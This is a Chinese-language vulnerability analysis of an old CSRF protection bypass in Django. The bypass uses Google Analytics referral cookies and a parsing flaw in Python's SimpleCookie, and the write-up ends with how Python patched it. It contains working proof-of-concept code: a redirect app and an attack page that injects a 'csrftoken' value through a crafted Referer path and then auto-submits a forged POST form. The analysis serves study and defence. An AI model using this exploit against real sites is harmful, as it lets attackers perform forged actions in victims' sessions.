0x00 漏洞概述
1.漏洞简介
2.
Django是一个由Python写成的开源Web应用框架。在两年前有研究人员在hackerone上提交了一个利用Google Analytics来绕过Django的CSRF防护机制的漏洞(CSRF protection bypass on any Django powered site via Google Analytics),通过该漏洞,当一个网站使用了Django作为Web框架并且设置了Django的CSRF防护机制,同时又使用了Google Analytics的时候,攻击者可以构造请求来对CSRF防护机制进行绕过。
2.漏洞影响
3.
网站满足以下三个条件的情况下攻击者可以绕过Django的CSRF防护机制:
- 使用Google Analytics来做数据统计
- 使用Django作为Web框架
- 使用基于Cookie的CSRF防护机制(Cookie中的某个值和请求中的某个值必须相等)
3.影响版本
Django 1.9.x < 1.9.10
Django 1.8.x < 1.8.15
Python2 < 2.7.9
Python3 < 3.2.7
0x01 漏洞复现
-
环境搭建
pip install django==1.9.9
django-admin startproject project
cd project
python manage.py startapp app
cd app
将 'app' 添加到 project/project/settings.py 中的 INSTALLDE_APPS 列表中
更改或添加下列文件:
project/app/views.py:
from django.shortcuts import render
from django.http import HttpResponse
# Create your views here.
def check(req):
if req.method == 'POST':
return HttpResponse('CSRF check successfully!')
else:
return render(req, 'check.html')
def ga(req):
return render(req, 'ga.html')
project/project/urls.py:
from django.conf.urls import url
from django.contrib import admin
from app.views import check, ga
urlpatterns = [
url(r'^admin/', admin.site.urls),
url(r'^check/', check, name='check'),
url(r'^ga/', ga, name='ga'),
]
project/app/templates/check.html:
<form action="/check/" method="POST">
{% csrf_token %}
<input type="submit" value="Check"></input>
</form>
project/app/templates/ga.html(放置Goolge Analytics脚本的页面):
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-XXXXX-X']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
最后运行开启Django内置server:
# project/python manage.py runserver
2.漏洞分析
我们先来看这样一个场景:
data:image/s3,"s3://crabby-images/d76e7/d76e7f65499d7763913ba6059d2f246b859431ea" alt=""
python内置的Cookie.SimpleCookie()解析a=hello]b=world这种形式的字符串时会以]作为分隔,最后取得a=hello和b=world这两个cookie,那么为什么会这样呢?
我们看一下源码,Ubuntu下/usr/lib/python2.7/Cookie.py第622-663行:
def load(self, rawdata):
"""Load cookies from a string (presumably HTTP_COOKIE) or
from a dictionary. Loading cookies from a dictionary 'd'
is equivalent to calling:
map(Cookie.__setitem__, d.keys(), d.values())
"""
if type(rawdata) == type(""):
self.__ParseString(rawdata)
else:
# self.update() wouldn't call our custom __setitem__
for k, v in rawdata.items():
self[k] = v
return
# end load()
def __ParseString(self, str, patt=_CookiePattern):
i = 0 # Our starting point
n = len(str) # Length of string
M = None # current morsel
while 0 <= i < n:
# Start looking for a cookie
match = patt.search(str, i)
if not match: break # No more cookies
K,V = match.group("key"), match.group("val")
i = match.end(0)
...
当传入load一个字符串时,调用__ParseString
,在__ParseString
中有这样一句:match = patt.search(str, i),根据之前定义的pattern来查找字符串中符合pattern的cookie,_CookiePattern
在529-545行:
LegalCharsPatt = r"[\w\d!#%&'~_`><@,:/\$\*\+\-\.\^\|\)\(\?\}\{\=]"
_CookiePattern = re.compile(
r"(?x)" # This is a Verbose pattern
r"(?P<key>" # Start of group 'key'
""+ _LegalCharsPatt +"+?" # Any word of at least one letter, nongreedy
r")" # End of group 'key'
r"\s*=\s*" # Equal Sign
r"(?P<val>" # Start of group 'val'
r'"(?:[^\\"]|\\.)*"' # Any doublequoted string
r"|" # or
r"\w{3},\s[\s\w\d-]{9,11}\s[\d:]{8}\sGMT" # Special case for "expires" attr
r"|" # or
""+ _LegalCharsPatt +"*" # Any word or empty string
r")" # End of group 'val'
r"\s*;?" # Probably ending in a semi-colon
)
在这里我们看到]并没有在_LegalCharsPatt
中,由于代码中使用的是search函数,所以在匹配a=hello后碰到]会跳过这个字符然后再匹配b=world。因此正是因为使用search函数来匹配,所以当a=hello后面是任意一个不在_LegalCharsPatt中的字符(例如[、\、]、\x09、\x0b、\x0c)都会达到同样的效果:
c.load('a=helloXb=world') # X为上述字符
SetCookie: a='hello' b='world'
这个漏洞也正是整个Bypass的核心所在。
我们再来看Django(1.9.9)中对cookie的解析,在http/cookie.py中第91-106行:
def parse_cookie(cookie):
if cookie == '':
return {}
if not isinstance(cookie, http_cookies.BaseCookie):
try:
c = SimpleCookie()
c.load(cookie)
except http_cookies.CookieError:
# Invalid cookie
return {}
else:
c = cookie
cookiedict = {}
for key in c.keys():
cookiedict[key] = c.get(key).value
return cookiedict
根据动态调试发现这里的SimpleCookie也就是我们上面所说的存在漏洞的对象,从而可以确定Django中对cookie的处理也是存在漏洞的。
我们再来看看Django的CSRF防护机制,默认CSRF防护中间件是开启的,我们访问
http://127.0.0.1:8000/check
点击Check然后抓包:
可以看到csrftoken和csrfmiddlewaretoken的值是相同的,其中csrfmiddlewaretoken的值如图:
data:image/s3,"s3://crabby-images/59dce/59dce22e96740964144af58f019733847ce1e1a9" alt=""
也就是Django对check.html中的{% csrf_token %}所赋的值。
我们再改下包,使csrftoken和csrfmiddlewaretoken不相等,这回服务器就会返回403:
所以Django对于CSRF的防护就是判断cookie中的csrftoken和提交的csrfmiddlewaretoken的值是否相等。
那么如果想Bypass这个防护机制,就是要想办法设置受害者的cookie中的csrftoken值为攻击者构造的csrdmiddlewaretoken的值。
如何设置受害者cookie呢?Google Analytics帮了我们这个忙,它为了追踪用户,会在用户浏览时添加如下cookie:
__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=
(referral)|utmcmd=referral|utmcct=[PATH]
其中[HOST]和[PATH]是由Referer确定的,也就是说当Referer: http://x.com/helloworld时,cookie如下:
__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=
(referral)|utmcmd=referral|utmcct=helloworld
由于Referer是我们可以控制的,所以也就有了设置受害者cookie的可能,但是如何设置csrftoken的值呢?
这就用到了我们上面说的Django处理cookie的漏洞,当我们设置Referer为http://x.com/hello]csrftoken=world,GA设置的cookie如下:
__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=
(referral)|utmcmd=referral|utmcct=hello]csrftoken=world
当Django解析cookie时就会触发上面说的漏洞,将cookie中csrftoken的值赋为world。
实际操作一下,为了方便路由我们在另一个IP上再开一个DjangoApp作为中转,其中各文件如下:
urls.py:
from django.conf.urls import url
from django.contrib import admin
from app.views import route
urlpatterns = [
url(r'^admin/', admin.site.urls),
url(r'^hello', route)
]
views.py:
from django.shortcuts import render
from django.http import HttpResponse
# Create your views here.
def route(req):
return render(req, 'route.html')
route.html:
<script> window.location = 'http://127.0.0.1:8000/ga/'; </script>
开启中转App:python manage.py runserver xxx
构造一个攻击页面:
<form id="csrf" action="http://127.0.0.1:8000/check/" method="POST">
<input type="hidden" name="csrfmiddlewaretoken" value="boom">
</form>
<script type="text/javascript" charset="utf-8">
function sleep (time) {
return new Promise((resolve) => setTimeout(resolve, time));
}
function poc() {
window.open('http://redirect-server/hello]csrftoken=boom');
sleep(1000).then(() => {
document.getElementById('csrf').submit();
});
}
</script>
<a href='#' onclick=poc()> Click me </a>
当我们点击Click me,会先打开一个窗口,再回到原窗口,就可以看到保护机制已经绕过:
data:image/s3,"s3://crabby-images/5fffa/5fffa0cd3e1459c78e8982d7630e55bfac913855" alt=""
再访问一下http://127.0.0.1:8000/check/,可以看到此时cookie中的csrftoken和form中的csrfmiddlewaretoken都已被设置成boom,证明漏洞成功触发:
data:image/s3,"s3://crabby-images/3ae2c/3ae2ce0b30bc310bbbfcae54ef477cb154cfcc73" alt=""
攻击流程如下:
data:image/s3,"s3://crabby-images/af05c/af05c9fcf07ea5765ab70cbb121e170924a6760d" alt=""
3.补丁分析
Python
可以看到这个漏洞在根本上是原生Python的漏洞,首先看最早在2.7.9中的patch:
data:image/s3,"s3://crabby-images/10f94/10f94533104496ae9896d9939cc4b94dd67d21e2" alt=""
将search改成了match函数,所以再遇到非法符号匹配会停止。
再看该文件在2.7.10中的patch:
data:image/s3,"s3://crabby-images/43d48/43d48b986fb3cf1c049d87e948a8b4259abfc627" alt=""
这里将[]设置为了合法的value中的字符,也就是
>>> C.load('__utmz=blah]csrftoken=x')
>>> C
<SimpleCookie: __utmz='blah]csrftoken=x'>